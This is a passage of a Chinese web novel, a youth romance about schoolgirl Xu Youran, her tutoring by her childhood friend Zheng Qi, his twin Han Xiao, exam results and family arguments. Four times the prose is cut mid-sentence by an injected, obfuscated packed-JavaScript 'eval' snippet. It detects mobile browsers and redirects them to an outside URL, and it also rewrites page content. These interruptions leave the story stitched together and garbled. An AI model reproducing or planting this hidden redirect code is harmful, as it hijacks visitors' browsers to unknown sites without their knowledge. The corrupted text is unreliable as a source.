那你关注谁? 许悠然心急之下差点脱口而出。 郑骐见她态度明显变了,又加了句,“如果是你送我的礼物,我会收。” 许悠然踮起脚轻轻捶了他肩头一下,嘴硬:“我才不送你礼物呢!” 郑骐揉揉被她捶过的地方,笑容爽朗,“好吧,不送就不送,可别反悔。” 许悠然羞红脸,心里彻底松快了,大步往前走,把郑骐甩在后面。 “现在轮到我问你了。今天找你的那个男生是谁?”郑骐追上她,和她并肩而行。 “你说李昊?我同学啊,平时特别捣蛋,和韩骁差不多,是学校的‘扛把子’。” 许悠然想到同学们私下的讨论,说李昊是学校一霸,平时没少惹是生非。她不自觉就想到了韩骁,据说学校上一任‘扛把子’就是他。没想到这称号还能代代传承。 “他……喜欢你?”郑骐停下脚步,到许悠然家楼下了。 “没有……”许悠然不看郑骐,扭开脸看向别处。 “那就好。好好学习,明年你该中考了,我们学校可不好考。”郑骐眼睛亮晶晶的,和夜空中的星星一样耀眼。 “你想让我考你们学校?”许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107785|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠然突然觉得心里甜丝丝的。 “不然呢,我们学校是全市最好的高中,做人要有目标。” 郑骐把书包放下,伸出手想摸摸许悠然的头,可最后还是停在半空,最后落到了她肩上。 许悠然感到有点失望,但是心情再也不像之前那样沉重,她拎起书包背好,乖乖对郑骐点点头:“那我回去了,你快回家吧,外面太冷了。” “我看你上去了再走,别随便开门,有事给我打电话。”郑骐轻轻推了她一把,催促她上楼。 许悠然依依不舍地转身,声控灯随着她的动作一层层逐渐亮起。 直到四楼许悠然家的灯亮了,郑骐才离开。想到许悠然明明有气却倔脾气不说话的样子,他忍不住摇头失笑。 期末考试不期而至,紧张的两天考试过后,许悠然彻底一蹶不振。 她考砸了。 她数学原本还不错,可是这两个月来数学成绩跳楼式下滑,这次期末考试竟然刚刚才过及格线。 父亲许仕明一直对她很宽松,看到成绩也没说什么重话,只叫她分析问题,查漏补缺,趁寒假把功课补上去。可是妈妈周亚珍就没爸爸那么好说话了,看到许悠然的试卷,她几近目瞪口呆。她和丈夫许仕明都是靠真本事考上军医大学的,不说比肩清华北大,也是有真材实料的名校。许悠然这点分数别说考好大学,好高中都不见得能考上。 周亚珍心里气不打一处来,可是女儿大了也不能像以前那样劈头盖脸一顿批评,她竭力按耐着情绪,尽量语气平和一点。 “然然,你最近是不是没专心学习?数学成绩怎么退步这么多?你以前可不是这样的。” “这次题目太难了么……”许悠然被妈妈说中心思,不受控制地脸红了。她还做不到面不改色地撒谎。 “那怎么李薇薇考了115?你不是和她玩得很好吗,怎么也没有近朱者赤?你是不是有什么心事?” “没有,妈,你能不能别老把我和别人比,李薇薇是李薇薇,我是我。再说成绩好就什么都好了吗?” 周亚珍没想到许悠然会这样顶撞她,被噎得一愣,心里的火气突然就压不住了。 “我比什么了?我跟你爸平时哪件事情不是由着你,学习也没有过分要求你出类拔萃,但是你起码态度要认真吧,你能不能对自己的学业负责?你看你现在是什么态度?成绩好是不代表一切,但起码代表你努力了,认真对待学习这件事情了,你觉得你努力了吗?认真了吗?你明年就要中考了,你想过考什么高中吗?” 许仕明见母女俩气氛不对,急忙当和事佬。“冷静冷静,然然这么聪明,这次没考好只是意外,下次肯定不会了。然然,快跟你妈做个保证。”他冲女儿挤挤眼,示意她赶快服软。 “我保证不了,谁也不知道自己考试能考多少分,万一我现在保证了,下次没考上不还是得挨你们批评?”许悠然倔脾气也上来了,无视爸爸疯狂使眼色,死死盯着地板。 “那人家郑骐怎么能每次考第一?亏你从小跟在人家后面,你看你混成个什么了?连韩骁成绩都比你好!” 周亚珍说着说着,简直快气得哭出来。明明她喜欢儿子,却生的女儿。韩少蓉喜欢女儿却生的儿子,还一次生俩,都又帅又聪明,她生的女儿却只会跟她怄气。 “许仕明,你看看你的宝贝女儿,她是想气死我!都是你平时惯的!”周亚珍转过身去,把矛头转向了丈夫。 许仕明连连作揖认错,周亚珍还是不依不饶。许悠然接收到爸爸递来的求救眼神,急忙趁妈妈不注意,溜出了门。 15. 014 韩少蓉年轻时性格有点儿林黛玉,多愁善感又嘴上不饶人。现在人到中年反而更像史湘云,爱笑爱闹,听说这边开战了,不紧不慢地说:“然然,你妈心高气傲了一辈子,不管是读书还是现在工作,都是拔尖的,虽然我俩是好朋友,但是暗地里也没少比较,哈哈,女孩子嘛,避免不了。当初她选了你爸这个高材生本来挺得意,觉得终于有个方面可以压我一头了,没想到生孩子又被我给抢先了,她这口气憋很久了,我现在才不去给她当出气筒呢,哈哈……这个雷让你爸顶着,谁让他不争气不生个儿子呢。” 许悠然听得哈哈大笑,嘴上还不忘甜言蜜语:“干妈你说什么呢,郑伯伯又高又帅,还是飞行员,万里挑一,出名爱妻,院里的阿姨们谁不羡慕你……” 两人你一言我一语说得忘乎所以,韩少蓉夸许悠然乖巧聪明又贴心,许悠然就夸干妈能干贤惠,风韵不减当年。总之,两个人都心花怒放,完全忘记了楼上的战争。 韩骁实在受不了,用手指塞住耳朵,“你们能不能出去互拍马屁?我听得想吐。” “要你管!” “要你管!” 许悠然和韩少蓉异口同声,外加一个瞪眼。韩骁寡不敌众,铩羽而归,落荒而逃。 郑骐看不下去了,“妈,你还是快去看看吧,万一打起来……” 韩少蓉这才笑眯眯站起身,白了儿子一眼,一副“你不懂”的样子,“打不起来,就算真打起来,挨打的也是你许叔叔……” 郑骐无语。 韩少蓉披一件羽绒服,哼着歌往许悠然家里去了。许悠然躲在她后面,一副小人得志的模样。郑骐不放心,也跟着去了。 “咦,停战了?不是说都要打起来了吗?”韩少蓉见家里一派平静,很诧异。 周亚珍坐在沙发角落一声不吭,许仕明坐在餐桌边沉默不语。 “哎呀,多大的事呀,不就是一次考试没考好吗?下次再努力进步不就行了,值得发这么大脾气吗?然然,看把你妈气得,还不快给她倒杯水?” 许悠然接收到干妈的指令,急忙屁颠屁颠去倒水。郑骐不知道该干什么,他没处理过这种事情,只得跟着许悠然给许仕明也倒了杯水。 周亚珍冷哼一声,“郑骐和韩骁学习都不用你操心你当然这么说,这丫头要是有他们俩那样的资质我至于这么生气吗?” 许悠然端着水杯老实地站在旁边,听妈妈这样说,忍不住嘴快:“我这资质还不是你们遗传的。” 周亚珍一听火冒三丈,“少蓉,你听听,她这是要跟我对着干呀,我说一句她就顶一句!” 郑骐急忙把许悠然拉到身后,生怕周亚珍情绪更加激动控制不住。 “小孩子青春期叛逆很正常,冷静冷静,你看这样行不,这个寒假让郑骐给她补补课,咱趁这个假期把落下的功课都补起来,保证明年考上一中,考不上你拿我是问,行吧?” 许仕明听了,眼睛一亮。虽然平时郑骐也辅导过许悠然,但也只是偶尔。如果能让一中第一名给她一对一系统辅导一个月,肯定事半功倍,比去外面补习班可靠谱多了。可是,会不会影响郑骐自己的学习呢? 周亚珍和丈夫心有灵犀,犹豫着问:“好是好,可是会不会耽误郑骐的学习呀,他明年就升高三了。” “叔叔阿姨,我可以给然然辅导,放心吧,我肯定会安排好自己的功课再辅导然然,不会耽误学习的。” 郑骐站到周亚珍面前,语气十分诚恳。 韩少蓉拍拍手,站起身,今天的任务结束了。“那就这样说定了,具体怎么补习让俩孩子自己安排,我们等着验收成果就行了。不早了,赶紧洗洗睡吧。” 许悠然心里原本七上八下,怕事态持续恶化,没想到柳暗花明又一村,竟然让郑骐寒假给她补课,那是不是意味着整整一个月她可以每天看到郑骐? 她从来没像现在这样期盼过寒假。寒冷都抵挡不了她学习的热情。 毕业班抓得紧,白天许悠然要在学校上课,晚上才能接受郑骐的一对一辅导。郑骐上完补习班会顺路去学校接她放学,大多时候回到家韩少蓉或周亚珍已经做好了晚饭,偶尔她们俩都忙,就需要孩子们自己动手。 做饭的通常是郑骐,偶尔许悠然也会加入,每当这个时候韩骁就在旁边阴阳怪气地捏着鼻子,皱着眉头,表情夸张地说:“是什么东西糊了?喂,你做的饭能不能吃啊?吃完会不会拉肚子?我还不想英年早逝……” 许悠然本来就不会做饭,她只是不想看郑骐一个人在厨房忙活,所以蹭进去美其名曰帮忙,虽然通常是帮倒忙。韩骁不领情就算了,还要取笑她,那就不能怪她了。 “爱吃不吃,信不信我毒哑你,让你再也说不了话?”许悠然举着锅铲,气势汹汹威胁他。 “果然是黄蜂尾后针,最毒妇人心。算你狠!” 许悠然若还要争辩,郑骐就会接过她的锅铲,笑着在她脑门上轻轻弹个栗子,“真的糊了……” 等许悠然闻到糊味儿的时候那锅菜通常也吃不成了,最后三个人只得改吃方便面。 温暖的灯光下,开水蒸腾的水汽氤氲上升,让他们的轮廓在彼此的视线中带了些潮湿的模糊。 郑骐习惯在方便面里卧个鸡蛋,借力打力,面熟的时候鸡蛋也好了,焖熟的鸡蛋更嫩,几乎入口即化,许悠然爱不释口。韩骁不以为然,他喜欢煎炸炝炒这样干脆直接的方式,不喜欢寡淡的滋味,偏爱煎鸡蛋。郑骐只得单独给他煎鸡蛋,许悠然看不惯他的挑剔,成心想整蛊韩骁,自告奋勇来煎鸡蛋。开火、倒油,结果火太大,油贱到她手上,痛得她惊呼一声,差点把锅铲甩出去。 “没事吧?” “怎么了?” 旁边的郑骐和倚在厨房门口的韩骁异口同声。 许悠然摇摇头说自己没事,又接着煎蛋。郑骐只得一眼不错地盯着她,提醒她把火关小一点,又教她什么时候该翻面。 韩骁只得收回自己踏进厨房的脚。厨房不大,三个人太拥挤了。 沉浸在这样的温馨热闹里,时间仿佛也过得飞快。许悠然基础不错,期末考试原本也是因为心有旁骛才没考好。郑骐给她把初三数学知识点全部理出来,一个版块一个版块复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107786|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习,然后又针对薄弱的地方强化训练。他讲课言简意赅、条理清晰,效率很高。最后他还自己出了几套试卷考许悠然,许悠然都做得很不错,忍不住暗想,要是郑骐是她的老师就好了,那她学习的动力一定取之不尽用之不竭。 春节前的某一天,许悠然吃过晚饭照例下楼去干妈家里。她补习都是在干妈家里,关于这个问题周亚珍是藏了点小心思的。她悄悄告诉丈夫,如果在自家,他们俩那么忙老不在家,那家里就只有许悠然和郑骐了,在韩少蓉家里,起码还有韩骁在。 许仕明对妻子的过度忧虑感到无语,“你想太多了,郑骐是个好孩子。咱们看着他长大的,你难道信不过他?” 周亚珍白了一眼丈夫,脸上那表情就差直说一句“你这个猪脑子”。 “谁说我是信不过他,我是信不过你的宝贝女儿。上次韩少蓉提醒我了,她正在青春期叛逆着呢,再说他们从小一起长大,难保有时候相处没轻没重的。你看郑骐,又高又帅,成绩又好,你是小女孩你不喜欢?要是我年轻……” 她说到兴头上,开始口不择言。 “打住打住!怎么越扯越远了?正是因为咱们然然从小和他一起长大,早就免疫了好吗。别的女孩我不知道,她从小看两个帅哥难道还没审美疲劳?”许仕明是肿瘤专家,最近正在研究免疫疗法。 周亚珍瞪着他,语气不善,“哦,所以你看了我快二十年早就审美疲劳了是吧?” 许仕明摇晃双手连连后退:“你当我什么都没说,你想怎么样都行,我去书房看书了,我还有几个论文要写呢……我很忙……” 夫妻俩的这番争论自然不会告诉女儿,许悠然也不会想到母亲的深谋远虑。她才不关注韩骁在不在家呢,他不在家更好。不过令许悠然感到奇怪的是这个寒假韩骁竟然没像以前那样每天跑得不见人影。大多时候,他把房间让出来,自己拿本书在客厅安静地看,有时候甚至一个晚上都没出声。 许悠然很好奇,是什么书能让韩骁这个“大魔王”这样沉迷? 趁着出来喝水的空隙,她蹑手蹑脚走到韩骁身后,他背靠沙发一动不动,低垂着头,下巴缩到黑色毛衣的高领里,天花板投下的灯光顺着他高挺的眉骨和鼻梁打下一片恰到好处的阴影。客厅里只能听到他均匀绵长的呼吸声。 他这样安静的样子,和郑骐太像了。 许悠然微微一怔,转而狡猾地笑了。哈!还以为他在认真学习,原来在偷懒睡觉!许悠然轻手轻脚拿起他的书,《CreativeGuitar》。 玩物丧志! 许悠然扁扁嘴,深呼吸一下,鼓足气,突然大喊:“着火啦!着火啦!” 韩骁被她吓得一激灵,从沙发上弹起来,发现被她耍弄了竟然也不生气,拿起自己的书大摇大摆就出门了。这让许悠然觉得好没意思,以前的韩骁去哪了? 郑骐给她解释:“他最近忙得很,白天你没来的时候他都在练习弹吉他,怕晚上练习吵到你。” 许悠然不信:“他才没这么好呢,谁知道他在哪玩累了趁我学习的时候比较安静好补觉。” 16. 015 春节过后离开学就很近了,补习也到了最后一天。照例是许悠然自己做题,郑骐给她批改讲解,实际上需要他讲解的地方已经不多了,许悠然的补习成效非常突出。 许悠然拿本书慢悠悠下楼,想在院子里晒晒太阳。假期的早晨总是懒洋洋的,虽然已经过了春节,但是从气温上来看,冬天还没有彻底走远。这样的天气窝在被子里睡懒觉才是最舒服的,可许悠然今天鬼使神差很早就醒了。 她看的是《小王子》,这本书她看了好多次,每次看到小王子诉说他和玫瑰的故事就看不下去。既然他那么思念玫瑰,又为什么要离开呢? 正看得难受又不解,突然从郑骐家里传来清脆如雨拍屋檐的吉他声。 许悠然听得出了神,好像看见一个失落的男人,孤独地站在窗边看着外面的大雨,行人匆匆,天际苍茫,人们都有自己热火朝天的生活,只有他没有方向,因为他在思念他心爱的姑娘,想见而不可得,只能遥远凝望。苍凉的歌声里不乏美好的期许。 她听不懂唱的什么,但仅是这动人的旋律已经将她带入那个孤寂又忧伤的世界。 许悠然合上书,轻轻推开了郑骐家的门。 年轻男孩抱着一把吉他,背对着门坐着,黑色毛衣让他的背影看起来有些寂寥。他唱得很专注,手指熟练拨弄间,好听的旋律源源不绝。 这样专注又伤感的韩骁是许悠然从未见过的,她感到陌生又熟悉。 一曲终毕,韩骁好像翻了翻面前的曲谱,随意拨动一串和弦,准备换一首弹奏。 “咳咳……”许悠然轻咳了几声。 韩骁吓了一跳,转身见是她,瞪了她一眼,有些不自在,好像秘密被人窥破,“想吓死我啊!你是鬼走路没声音吗?” 许悠然还沉浸在音乐氛围里没跟他斗嘴,“你刚才弹的什么歌?挺好听的,是粤语?” 韩骁一怔,有点惊有点喜。 他放下吉他,点点头,“是Beyond乐队的歌,叫《遥望》。” “我知道Beyond乐队,我爸之前也在家里放过,他们主唱英年早逝,太可惜了。” 韩骁“嗯”了一声,勉强算是回答。 许悠然突然感到有点尴尬,韩骁太安静了让她觉得不习惯,只得没话找话。 “郑骐呢?” 韩骁垂下头,继续翻看曲谱,“你是来找他的啊,他去看爷爷了。” “你怎么不去?” 韩骁终于抬起头,似笑非笑,“你觉得两张一样的脸,有必要同时出现吗,看到他不就等于看到我了?” 许悠然被他怼得没话说,罕见地局促起来。 “上周是我去的,这周换他。”似乎感受到了许悠然的不自在,韩骁扯扯嘴角,还是解释了一句。 “唔……下次去的时候叫上我,我很久没看他老人家了。” “好,下次郑骐去的时候叫上你。” 又是一阵令人尴尬的沉默。 “你刚才唱的那首《遥望》,有歌词吗,给我看看。” 韩骁起身把桌上的曲谱和本子胡乱收到一起,“没有,我乱唱的,你问许叔叔要吧。” 他明显的遮掩和推脱让许悠然更好奇了,“你本子上肯定有,给我看看,别那么小气嘛,男人要大气一点。”说完,她就去抢韩骁手上的本子。 韩骁早预料到她有这一招,把本子举得高高的,岿然不动,根本不怕她抢,“有本事自己来抢啊!小矮人。” 他不说还好,一说正好戳中了许悠然的痛处。她自从来了生理期之后,身高就如同蜗牛爬行,增长极其缓慢。而韩骁和郑骐就跟吃了增高药一样个头猛窜,已经比他高许多了,她将将只到他俩的肩膀。 “走着瞧!”许悠然跳上沙发去抓韩骁的手。混乱中,不知道碰到了韩骁的手多少次,他的手温热干燥,不像他的脸那么又臭又冷。 韩骁还是没动,不管许悠然怎么蹦,怎么掐他,他都面不改色地看着像小丑一样蹦跶不停的许悠然。 许悠然终于累了,决定放弃。韩骁这厮,要是在革命年代,牙关比死人还紧。 “切,我不稀罕了,哼!” 韩骁把曲谱和本子塞到口袋里,毫不留情地戳穿她:“抢不到就抢不到,别给自己脸上贴金。听哥的,没事儿做做脱离地心引力的运动,说不定还能长高几厘米。对了,就像刚才那样,你知道吗,猩猩就是因为踮起脚尖直立行走才变成人的,然后就越长越高了。” 韩骁憋着笑一本正经地胡说八道。 许悠然半信半疑,“真的?” 韩骁点点头,表情很真诚。 许悠然信了,“那好吧……” “不对,你骂我!你说我是猩猩!” 就在韩骁已经走到门口的时候,许悠然终于反应过来了。 “韩骁,你给我站住!” 门“哐”地一声合上了,韩骁得意的声音穿透阳光射进屋来。 “男人不是你想留就能留的……哈哈……” 许悠然吃了瘪只得气鼓鼓地回家去翻父亲的唱片。许仕明工作压力很大,偶尔会放点音乐舒缓一下,但他不喜欢用电脑或者手机播放,就爱唱片机,说那个才是最纯粹的音乐。 许悠然记得她就是在家里听过那个非常有辨识度的声音,时而愤怒、时而深情,虽然大多是粤语,但光是旋律已经足够动人。 她翻出一张有些旧的唱片,正是她要找的Beyond乐队,可惜没有她要找的那首歌,不过她现在对这个乐队很感兴趣,听听也无妨。她打开唱片机,一边听一边拖地。 突然,唱歌的人变了,不再是那个很有穿透力的声音,换成了一个温柔的声音,甚至不像在唱歌,只是在低声呢喃,诉说心事,她甚至能想象出声音的主人一定也是个温柔宽厚的人。 她不太懂粤语,只能模糊判断出一些短句,“永远的真心”、“完全的拥有”、“共你往宇宙天边去”…… 间奏是伴随着鼓点高亢嘹亮的电吉他,让温柔的呢喃多了几分激越昂扬。 她听得入迷了,忍不住单群循环,一连听了五次。 这首歌叫什么?她打开电脑,试探性地输入她听出的那几个短语。 完全的拥有。 唱歌的竟然是乐队的鼓手,看似随意的唱腔,却用最普通的技巧唱出了最动人的心事。 她又搜索《遥望》,同名的歌很多,甚至都比Beyond的这首热门,但她还是找到了。 每天多么多么地需要,永远与你抱拥着。 忘掉世间一切痛苦悲哀。 纵使分开分开多么远,也会听到你呼唤。 期待我这一生再会你。 …… 她认真看着歌词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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桌面宽大,郑骐真的趴着睡着了,温柔的光从台灯白色灯罩里流出来在他的黑发上附了一层金褐色的光影,像老电影的色调,厚重温暖。 郑骐的睫毛长而浓,他眨眼的时候,睫毛像把小扇子扇动,让人心里痒痒的。 他鼻梁高而直,却不显得突兀,因为有高挺的眉骨支撑着,显得眼睛深邃又明亮。 许悠然看着他的睡脸心里像有一股暖流流过,明明从出生就已经相识,但是这样沉静不设防的睡脸,是她第一次看到。 她伸出手轻轻碰了碰他的眉头,他的眉骨生得真好看。偶像剧里女主见男主睡着了,让出租车司机绕了一圈又一圈,只是因为不想吵醒男主。她现在就像那个傻傻的女主。 这么想着,许悠然真的傻傻笑起来,她突然很想亲一下郑骐,看他会不会被吓醒。如果他醒了,她就说自己恶作剧,故意吓他一跳。如果她没醒,那就当这是她做的一场梦,梦醒了可以忘掉梦里发生的事情。 她深吸一口气,低下头,嘴唇快速在郑骐脸上贴了一下。 心扑通扑通乱跳,简直快从嗓子眼跳出来。脸烫得快烧着,她捂住脸又笑又怕,不知道该坐还是该站。 郑骐没醒。她长吁一口气,幸好他没醒。 外面东北风“呼呼”作响,似乎谁家的门被风吹得“哐”一下关上了。 院里只有晚归的人仓促的脚步。昏暗路灯下,韩骁双手插兜沉默地站着,像许久以前就已经站在这里了,又像还要永远站下去。 17. 016 许仕明一直觉得女儿虽然不大机灵,但是运气却相当好。 女儿五岁时,他带女儿去逛庙会,在抽奖的摊子前女儿从地上捡了一张无人认领的奖券,结果中了大奖。八岁时和郑家两小子一起滑冰,被韩骁铲翻在地牙都磕掉了,结果掉的是那颗被新牙顶得生疼却偏偏不肯掉的乳牙。十岁时在学校秋游前一天发烧被迫请假在家,结果去参加秋游的同学被一场突如其来的大雨淋了个透湿,她幸免于难…… 周亚珍不以为然,这都是歪打正着,碰巧而已! 在忐忑中等待了半个月,许悠然的中考成绩终于出来了。比一中往年的录取分数低了几分。按照惯例,她很可能落榜了。 整个许家都弥漫在低气压中。许悠然把自己关在房间里不吃不喝,她想不通,又伤心又生气。 伤心的是她不能和郑骐在一个学校了,明年郑骐就要去上大学了,她能看到他的机会将越来越少,他会在大学里认识很多很多女孩子,很快就会忘了她这个又傻又笨考不上一中的妹妹……她也很气,气自己怎么那么不争气,明明是考试前郑骐让她背了又背的公式,可在考试的时候竟然就是想不起来了,连韩骁都能轻松考上一中,她连韩骁都不如,难怪他总是说她笨! 许悠然趴在桌上默默哭了很久,桌面的草稿纸湿了干,干了又湿,泅出一片片难看的泪渍。 “然然,出来吃点饭吧,考不上一中也不是什么大不了的事情,再说只差了几分,实在不行爸爸给你交赞助费……” 许仕明一向宠女儿,他是苦读出身,知道读书并不是什么轻松愉快的事情,他对女儿也没有什么很大期待,健康快乐就好。再说,他也不是交不起赞助费。很多同事的孩子都是差几分上的一中,这并不丢人。 相比之下他更担心女儿的心理状况,会不会因为这事受了打击,本来就一天没吃饭了,会不会伤心过度干些傻事……想到这里他敲门的声音变得更加急促。 许悠然听了父亲的话更难受了。她宁可不上一中,也不想花几万块赞助费去上。到时候韩骁更有理由嘲笑她了,她都能想象到他的嘴脸。“哟哟,许悠然,你老说你不笨,怎么上一中还要花钱呢?”…… 她索性捂住耳朵,假装听不见父亲的声音。 桌上的饭菜早就冷了,周亚珍没心情热,也没心情吃。被丈夫压着不让冲女儿发脾气,她心里的火腾腾往上窜,脑子里和浆糊一样闷得慌。 一家人分置三角,为各自不被理解的心情烦恼着。 正僵持不下,急促的敲门声打破了僵局。 许仕明打开门,是郑骐。 “许叔叔,我来告诉你们一个好消息,刚才我找我们班主任了解了一下情况,说今年一中的录取分数确定会下调,分数线明天就会公布,然然考上了!” “真的?”许仕明高兴得眼睛发亮。 郑骐点点头,脸上也是克制不住的喜悦和激动:“确定,今年一中要多招一个班,加上今年题目比较难,考生分数普遍低了,所以分数线就降低了,然然刚好考上了。” “好好好……”许仕明语无伦次地把郑骐请进来,还不忘朝屋里嚷嚷:“然然,快出来吃饭,你考上了!” 屋里传来许悠然有点喑哑的声音:“我不吃!你骗人!” 她捂住耳朵,眼泪又不争气地出来了。她知道妈妈此刻肯定很生气,她也很想成为妈妈的骄傲,为她争光,可她却只能给她丢脸,比不上郑骐就算了,也比不上韩骁,比不上她那些同事的孩子,她不知道该怎么面对妈妈失望的眼神。 “然然,许叔叔没骗你,你真的考上了,快出来吃饭吧,你要是把自己饿坏了,到时候我可不背着你去上学。” 郑骐的声音温柔低沉,他似乎没有经历过尴尬的变声期,在许悠然记忆中,他的声音永远那么好听,像冬日淙淙的暖流,像夏日轻轻拂过的微风,总能让她不安烦躁的心安定下来。 “真的?!”许悠然倏地一下打开门,撞上郑骐微笑的眼。 “是真的,我什么时候骗过你?” 许悠然像一支腾空而起的烟花,突然绽放在郑骐眼前,然后降落在他心里。 她又笑又跳,双臂紧紧环着他的脖子,像一只笨笨的树袋熊。 郑骐感到自己的心跳突然猛烈加速,他极力按耐住慌乱的心跳,把许悠然的胳膊拉下来,拍拍她的肩:“快去吃饭,许叔叔说你一天没吃饭了。” 许悠然傻傻冲他笑,好像还不敢相信这个好消息是真的。 周亚珍已经热好了饭菜,脸上明明带着笑意,却又竭力隐藏着,故意板着脸,嗔怪着:“还不来吃饭,这么大的人了,还这样没大没小的,让人看见了笑话。郑骐,你也来一起吃吧,不过阿姨做饭手艺没你妈妈好,可别笑话……” 郑骐见她都能开玩笑,确定这家里不会有什么事了,推辞几句,又看了许悠然一眼,就告辞回家了。 周亚珍心中感叹,郑骐这孩子就是聪明,闻弦歌即知雅意,进退有度,沉稳大气,将来必有一番作为。又见许悠然只知道埋头吃饭,嘴里塞得鼓鼓的,脸上还沾了排骨的油渍,完全一副没长大的模样,忍不住摇头叹气。 “考上了是好事,你叹什么气啊?”许仕明也饿了,见女儿吃得香,他也胃口大开。 “这还是万里长征第一步呢,高中还有三年,难道以后每次都靠人家降低分数线?” 许仕明放下筷子忍不住哈哈大笑:“我就说咱们然然运气好,你不信。看我说中了吧,一中都能降低分数线,就为了让咱然然进一中!” 许悠然忙碌中抬起头,得意地笑:“借您吉言,我敬老爸一杯!” 父女俩幼稚地端起杯子碰了碰,里面的白开水一晃,撒到了桌上。 周亚珍无语,不知道为什么,心里没来由地生出几分不安。她是医生,笃信唯物主义、万物守恒。就算人真的有什么运气,也不可能一辈子走运,总有运气用光的那天。最怕的是在小事情上走运,而在遇到真正关键的大事情的时候,已经不幸用光了所有的运气。 “你别高兴得太早,没人能一辈子走运的,关键还是得靠实力,到了一中可别像以前那样懒懒散散的,一中人才济济,你可别吊车尾给我丢人。” 许悠然此刻没心情听妈妈讲道理,敷衍地点点头,继续和排骨作战。 多年后,许悠然想起这些点点滴滴,总会出神很久。为什么人不能预知未来呢?如果她能预知未来,她肯定不会过早用掉全部的运气,她宁可被那年秋天的大雨浇成落汤鸡,她宁可考不上一中,她宁可…… 因为考上一中,周亚珍破例开恩,允许许悠然这个暑假看会儿电视。袁文君早就给许悠然推荐了几部好看的电影和电视剧,她早已经心痒难耐了,每天趁着父母上班,一个人在家拉上窗帘,沉浸在自己制造出的影院效果中,一会儿哭一会儿笑,好不惬意。 许悠然今天看的是袁文君推荐的经典爱情战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107788|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争电影《珍珠港》,看到男主英勇出战英国,她感动得热泪盈眶,紧接着传来男主的死讯,她一颗心提到了嗓子眼,正和女主角一样沉浸在悲伤里,又看到女主和男二在仓库躲躲藏藏……白色的伞包铺陈在地,女主角如细瓷般细腻光洁的身体、丝绸蕾丝边吊带内衣勾勒出精致锁骨,男二英俊的面孔、结实有力的胳膊,汗水、喘息…… 她羞得捂住脸,不敢再看。 之前看过的偶像剧里面,最极限的画面也不过是男女主角拥吻,她们都看得面红耳赤。该死的袁文君怎么不告诉她,这电影里有这些少儿不宜! 她脸上滚烫,这滚烫犹如星星之火,很快就传遍全身,她坐立不安,不知道该看还是不看。可刚才看过的画面就跟病毒一样,顽固地植入了她的脑海。强烈好奇心的驱使打败了激烈的自我批评,她忍不住张开手指,从缝隙里偷偷看向电视屏幕。 “咚咚咚……” “然然,你在家吗?然然!” 突如其来的敲门声把唯美幽暗的画面打断,熟悉的声音把许悠然从专注和震撼中惊醒。她手忙脚乱地起身找遥控器,可昏天暗地地看了一天电视,根本不知道随手把遥控器塞哪儿了。 “啊!你等等,我马上……马上……” 郑骐听到她的声音,一颗悬着的心终于落地。他知道许悠然在家,整个暑假,她不是在家窝着就是在他家消磨时光,就算出去也不会不打招呼,肯定顺路去他家里说一声,免得大家担心。 他在门口等了好一会儿,许悠然还没来开门。他忍不住皱了皱眉,这丫头干什么呢?穿衣服也用不着这么久吧…… 终于,门打开了。许悠然满脸通红,喘着大气,站在门里,衣冠很整。 郑骐打量她一眼,眼神中满是怀疑:“你干什么呢?脸红气喘的,搬东西?” “没……没……找东西没找到……”许悠然讨好地笑笑,努力掩饰自己的鬼祟行为。 “真的?”郑骐扫视一眼屋内,窗帘全部拉得严严实实,沙发上散乱着零食和毯子,冷空气迎面扑来,他被冻得打了个喷嚏。 许悠然见她放纵的生活被郑骐一目了然,连忙展开双臂,挡在他面前,急声说:“这是偶然,不是日常,你等等,我收拾一下……”她“砰”地一下关上了门。 郑骐见她急得嗓音都尖了,好笑地摇摇头,也不阻拦,任她忙活。他倒想看看,她能收拾出个什么样。 几分钟后,门又开了。 许悠然笔挺地站在门口,做了个“请”的手势。 郑骐拎着西瓜走了进去。 嗯,窗帘都拉开了,满室明亮,茶几上的空零食袋也扔进了垃圾桶,原先胡乱摊开的几本杂志叠放得整整齐齐,旁边竟然还摆上了一个果盘。 可是沙发靠垫的后面,露出了被揉成一团的毯子的流苏边,还有杂志的中间,露出了没完全塞进去的电视机遥控器。 郑骐微微一笑,放下西瓜,坐在沙发上,顺手把毯子从沙发靠垫后扯出来:“你空调开太低了。” 许悠然被他当场揭穿,讪讪地抱起西瓜:“我去切西瓜……” 